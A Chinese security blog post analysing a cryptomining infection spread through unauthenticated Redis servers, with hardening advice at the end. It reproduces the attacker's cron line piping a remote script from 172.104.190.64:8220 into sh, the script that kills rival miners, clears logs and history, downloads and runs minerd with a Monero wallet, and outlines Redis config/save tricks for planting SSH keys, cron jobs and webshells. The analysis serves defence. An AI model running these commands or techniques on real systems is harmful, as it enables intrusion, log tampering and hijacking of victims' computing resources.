利用Redis未授权访问漏洞的挖矿病毒阴魂不散

2017-09-13 +12 330873人围观 ,发现 8 个不明物体 数据安全网络安全

一、REDIS未授权访问漏洞

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

2015年该病毒爆发,网路上也有很多的分析报告。可是时隔两三年,该病毒依然阴魂不散,通过不断改变下载服务器url,继续在网络中肆虐。第一说明利用 redis 感染病毒进行挖矿依然有利可图;第二说明暴露在公网上的redis服务器众多,有些管理员几乎到了麻木不仁的地步,对自身的主机系统的安全无动于衷,继续做网络攻击者的“帮凶”。

二、过程介绍

近期,华屹安全团队在对客户实施安全服务时,发现客户Redis系统数据异常。通过研究分析,技术人员发现攻击者通过redis未授权访问漏洞进行攻击,在目标的redis上创建了两个关键key,一个名为woxdtzfwar、另一个名为crackit。内容分别为:

l  woxdtzfwar文件

*/1 * * * * /usr/bin/curl -fsSLhttp://172.104.190.64:8220/test11.sh | sh

l  crackit文件

ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQDE0guChoiGr6s3mXjQA0wX6YKNNMy2bpj6b8ArjuWH/mjN17bu275t/ZlSarmMC5hCVAx7eJEzqxqy43AiBS61UuFpWZXWal5b6XWdvrH6pCJOI5+ceeFMEmc64B7GNrs2OPyuaP0HST/xh0YyWwoE/2uZmc3EyiR8sIP7/11N+xhHH4nIZB/M8QDaBRN6DWUNd/kzLDuIHr4LntuhKEZpCuQIuiDm7ZBYzbYhGtpPWnO04FzbfMUqP1JssTd/G/mUflRgQhKVACyF8rd8o/o7Zy6I9JVgLV6FpNOLc5Ep9VJuFXxmcxWc+Bj//Sd4pgn4gbmb8GzAvlH2xxw+SV2hredis@redis.io

具体如下图所示:

利用Redis未授权访问漏洞的挖矿病毒阴魂不散

利用IE直接访问http://172.104.190.64:8220/test11.sh

利用Redis未授权访问漏洞的挖矿病毒阴魂不散

保存后,打开,发现其内容如下:

#!/bin/bash

(ps auxf|grep -vgrep|grep minerd |awk '{print $2}'|xargs kill -9;crontab -r;pkill -9minerd;pkill -9 i586;pkill -9 gddr;echo > /var/log/wtmp;history -c;cd ~;curl-L http://172.104.190.64:8220/minerd -o minerd;chmod +x minerd;setsid ./minerd-B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo-p x &>>/dev/null)

具体解释如下:

1、利用ps命令列举进程,看是否已经有存在名为minerd进程,如有则杀掉进程;

(ps auxf|grep -v grep|grep minerd |awk '{print$2}'|xargs kill -9;

2、清除当前用户crontab任务列表;

crontab -r;

3、杀进程(再次杀进程,分别为minerd/i586/gddr进程名,猜测是否为病毒早前感染程序名)

pkill -9 minerd;

pkill -9 i586;

pkill -9 gddr;

4、清日志

echo > /var/log/wtmp; //系统每次登录,都会在此日志中添加记录,该文件为二进制文件

history -c;           //清空命令操作日志

5、回到用户主目录

cd ~;

6、下载并启动进程minerd

curl -Lhttp://172.104.190.64:8220/minerd -o minerd;       //下载到本地

chmod +x minerd;    //增加执行权限

setsid ./minerd -B -a cryptonight -ostratum+tcp://xmr.crypto-pool.fr:3333 -u41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo-p x &>>/dev/null) //setsid 命令, minnerd进程执行后守护进程。

其中,minnerd为挖矿程序,连接的服务器为 xmr.crypto-pool.fr:3333,挖矿帐号为41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo,密码为x(这个密码选项无所谓,值可随便设置)。

利用百度搜索 minerd,搜索结果显示 minerd 是一个臭名昭著的比特币挖矿程序。其中攻击方式、sh文件内容等基本一样,说明该攻击是基于redis未授权漏洞的病毒。网络上发表的基于minerd的下载url为:curl -L http://67.209.185.118:8220/minerd -o minerd,经过访问,该页面已经失效不能访问。由此可推测,本次的攻击应该是病毒制作者的一次阵地转移,其攻击手法、甚至sh命令都没有变化,只是简单的修改了下载服务器url。

此外,幸运的是本次客户redis安装在windows操作系统,而该病毒面对的目标系统是linux系统,病毒使用的crontab启动方式、curl下载、minerd挖矿程序等都是基于linux平台的,无法在windows系统下运行,因此并没有对客户主机有更深入的破坏。

客户redis环境如下图所示:

利用Redis未授权访问漏洞的挖矿病毒阴魂不散 

对新的下载服务器进行分析,发现该服务器位于美国,属于linode公司,猜测可能是购买了linode的vps服务搭建的服务器。

利用Redis未授权访问漏洞的挖矿病毒阴魂不散 

 利用Redis未授权访问漏洞的挖矿病毒阴魂不散

此外,该服务器还开放了22端口,登录后发现其操作系统和ssh版本如下图所示:

 利用Redis未授权访问漏洞的挖矿病毒阴魂不散

直接登录该服务器8220端口,发现该服务器利用Apache搭建web服务,页面如下:

利用Redis未授权访问漏洞的挖矿病毒阴魂不散

三、redis未授权访问漏洞的危害

1、redis数据泄露

Redis数据表里存放企业私密数据,比如有些网站的帐号密码、FTP的帐号密码等。攻击者可随时查看数据表内容。

2、redis数据破坏

攻击者可修改redis数据表、增加删除key项,比如调用flushall命令可以清除所有key。

3、主机系统环境泄露,为后续攻击提供网情

比如利用info命令,可以查看主机的相关信息,比如操作系统环境、目录名称、CPU/内存等敏感信息。

4、结合技术方法,可对主机进行控制

利用redis未授权漏洞,不仅对redis数据造成威胁,通过一定技术方法还能对目标主机系统进行控制,获得主机控制权。

利用redis进行攻击,主要是通过控制redis dump数据文件的目录和文件名两个参数值。由redis.conf文件内的dbfilename和dir两个参数指定,其中dbfilename是文件名,dir指定了该文件所在的目录。例如:

dbfilename dump.rdb      ##默认值dump.rdb,dump到文件系统中的文件名  

dir /usr/local/redis/db      ##默认值./,即当前目录,dump出的数据文件的存储路径; 

命令行通过config指令是现实获取和修改。

获取信息。

config get dbfilename

config get dir

修改信息。

config set dbfilename

config set dir

配合save命令,则攻击者可以把想要的内容写入到指定的文件内,从而达成攻击目的。

针对window系统:

1、 通过把脚本写入到启动目录的方式,让下次用户登录时执行特定的脚本。

2、 通过把一句话网页木马(php、jsp等)写入到web目录的方式,控制目标系统,前提条件是能猜测到web所在目录且该目录可写,好多web服务器提供默认的web目录,比如IIS服务器的c:\inebput\www\目录,可通过config set dir命令进行猜测目录猜测,redis会提示该目录是否存在。

3、 …

针对linux系统:

1、通过把自己的公钥写入到目标系统的/root/.ssh下,则攻击者可免密码登录目标ssh。该攻击方法要求目标开放ssh应用,同时/root/.ssh目录下可写;

2、通过写入crontab定时任务的方式让目标运行指定命令,从而达成对目标的控制。比如利用root用户(不用进行用户名猜测),把指定的指令写入到/var/spool/cron/root文件;

3、通过把一句话网页木马(php、jsp等)写入到web目录的方式,控制目标系统,前提条件是能猜测到web所在目录且该目录可写,比如apache 的/var/www/html目录。

四、防护建议

1、根据redis提供服务的需求,如果不需要外网访问,则修改设置 0.0.0.0:6379。只是本机访问则改为127.0.0.1:6379,如要其他内网机器访问,则设置为本地内网的IP,比如192.168.1.122:6379。

2、设置redis访问口令,命令如下:requirepass 密码串。建议设置密码要强悍,不要设置成 弱口令,因为redis允许长时间扫描,设置密码字符串长点,最好14位以上,记不住没有关系,因为密码在配置文件redis.conf中是明文保存的可随时查看。 比如requirepass 1qaz2wsx1234567890redis-=!@#ABC

3、如有必要,对redis的访问端口进行修改。

4、如有必要,利用防火墙对redis的访问IP进行限制。

5、如无必要,不要以root权限运行redis。Windows系统下不要以system权限运行。

*本文作者:cgf99,转载请注明来自 FreeBuf.COM

发表评论

已有 8 条评论

取消
Loading...
css.php